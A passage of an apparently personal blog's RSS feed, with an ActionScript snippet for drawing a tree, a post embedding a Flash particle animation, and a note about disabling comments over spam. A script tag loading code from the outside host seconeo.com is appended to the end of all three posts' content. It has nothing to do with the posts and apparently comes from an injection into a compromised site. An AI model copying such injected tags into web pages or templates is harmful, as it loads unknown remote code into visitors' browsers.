drawTreeBtn.<span style="color: #006600;">addEventListener</span><span style="color: #66cc66;">&#40;</span>MouseEvent.<span style="color: #006600;">CLICK</span>, createManager<span style="color: #66cc66;">&#41;</span>;
<span style="color: #000000; font-weight: bold;">function</span> createManager<span style="color: #66cc66;">&#40;</span>event:MouseEvent<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span>
<span style="color: #66cc66;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">var</span> len = len.<span style="color: #006600;">getLineText</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> depth = dep.<span style="color: #006600;">getLineText</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> frequency = freq.<span style="color: #006600;">getLineText</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> factor = fac.<span style="color: #006600;">getLineText</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> angle = angle.<span style="color: #006600;">getLineText</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span>;
        <span style="color: #808080; font-style: italic;">//fix for typing issues caused by input</span>
	<span style="color: #000000; font-weight: bold;">var</span> length1:<span style="color: #0066CC;">Number</span> = <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #0066CC;">Number</span><span style="color: #66cc66;">&#40;</span>len<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> depth1:<span style="color: #0066CC;">Number</span> = <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #0066CC;">Number</span><span style="color: #66cc66;">&#40;</span>depth<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> frequency1:<span style="color: #0066CC;">Number</span> = <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #0066CC;">Number</span><span style="color: #66cc66;">&#40;</span>frequency<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> factor1:<span style="color: #0066CC;">Number</span> = <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #0066CC;">Number</span><span style="color: #66cc66;">&#40;</span>factor<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #000000; font-weight: bold;">var</span> angle1:<span style="color: #0066CC;">Number</span> = <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #0066CC;">Number</span><span style="color: #66cc66;">&#40;</span>angle<span style="color: #66cc66;">&#41;</span>;
&nbsp;
	<span style="color: #b1b100;">for</span><span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> i:<span style="color: #0066CC;">int</span> = holder.<span style="color: #006600;">numChildren</span>-<span style="color: #cc66cc;">1</span>; i <span style="color: #66cc66;">&amp;</span>gt;= <span style="color: #cc66cc;">0</span>; i--<span style="color: #66cc66;">&#41;</span>
		holder.<span style="color: #006600;">removeChildAt</span><span style="color: #66cc66;">&#40;</span>i<span style="color: #66cc66;">&#41;</span>;
	drawTree<span style="color: #66cc66;">&#40;</span>p, -<span style="color: #cc66cc;">1.5</span>, length1, depth1, factor1, angle1, frequency1, <span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #66cc66;">&#125;</span></pre></div></div>

<p><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.maxgarfinkel.com/archives/20/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nice little generative animation (cpu heavy)</title>
		<link>http://blog.maxgarfinkel.com/archives/15</link>
		<comments>http://blog.maxgarfinkel.com/archives/15#comments</comments>
		<pubDate>Mon, 26 May 2008 21:47:43 +0000</pubDate>
		<dc:creator>max</dc:creator>
				<category><![CDATA[Actionscript]]></category>

		<guid isPermaLink="false">http://blog.maxgarfinkel.com/archives/15</guid>
		<description><![CDATA[It may take a while to become visible as the background sometimes starts off white. 
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
			id="fm_particles_417033776"
			class="flashmovie"
			width="400"
			height="300">
	<param name="movie" value="http://blog.maxgarfinkel.com/wp-uploads/2008/05/particles.swf" />
	<!--[if !IE]>-->
	<object	type="application/x-shockwave-flash"
			data="http://blog.maxgarfinkel.com/wp-uploads/2008/05/particles.swf"
			name="fm_particles_417033776"
			width="400"
			height="300">
	<!--<![endif]-->
		 
	<!--[if !IE]>-->
	</object>
	<!--<![endif]-->
</object>   Some screen grabs of nice states of an earlier version.]]></description>
			<content:encoded><![CDATA[<p>It may take a while to become visible as the background sometimes starts off white.</p>

<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
			id="fm_particles_1325557168"
			class="flashmovie"
			width="400"
			height="300">
	<param name="movie" value="http://blog.maxgarfinkel.com/wp-uploads/2008/05/particles.swf" />
	<!--[if !IE]>-->
	<object	type="application/x-shockwave-flash"
			data="http://blog.maxgarfinkel.com/wp-uploads/2008/05/particles.swf"
			name="fm_particles_1325557168"
			width="400"
			height="300">
	<!--<![endif]-->
		
<p><a href="http://adobe.com/go/getflashplayer"><img src="http://www.adobe.com/images/shared/download_buttons/get_flash_player.gif" alt="Get Adobe Flash player" /></a></p>

	<!--[if !IE]>-->
	</object>
	<!--<![endif]-->
</object>
<p> </p>
<p>Some screen grabs of nice states of an earlier version.</p>
<p><span style="color: #551a8b; text-decoration: underline;"><a href="http://blog.maxgarfinkel.com/wp-uploads/2009/05/grab2.jpg"><img class="alignnone size-full wp-image-61" title="grab2" src="http://blog.maxgarfinkel.com/wp-uploads/2009/05/grab2.jpg" alt="grab2" width="549" height="401" /></a></span></p>
<p><span style="color: #551a8b; text-decoration: underline;"><a href="http://blog.maxgarfinkel.com/wp-uploads/2009/05/grab1.jpg"><img class="alignnone size-full wp-image-60" title="grab1" src="http://blog.maxgarfinkel.com/wp-uploads/2009/05/grab1.jpg" alt="grab1" width="550" height="401" /></a></span><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.maxgarfinkel.com/archives/15/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Temporarily disabled comments</title>
		<link>http://blog.maxgarfinkel.com/archives/12</link>
		<comments>http://blog.maxgarfinkel.com/archives/12#comments</comments>
		<pubDate>Tue, 26 Jun 2007 08:24:23 +0000</pubDate>
		<dc:creator>max</dc:creator>
				<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://blog.maxgarfinkel.com/archives/12</guid>
		<description><![CDATA[Some mofos&#8217; are relentlessly spamming the comments, so I&#8217;m gonna turn them off for a bit and see if that stops &#8216;em. Wankers!]]></description>
			<content:encoded><![CDATA[<p>Some mofos&#8217; are relentlessly spamming the comments, so I&#8217;m gonna turn them off for a bit and see if that stops &#8216;em. Wankers!<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.maxgarfinkel.com/archives/12/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
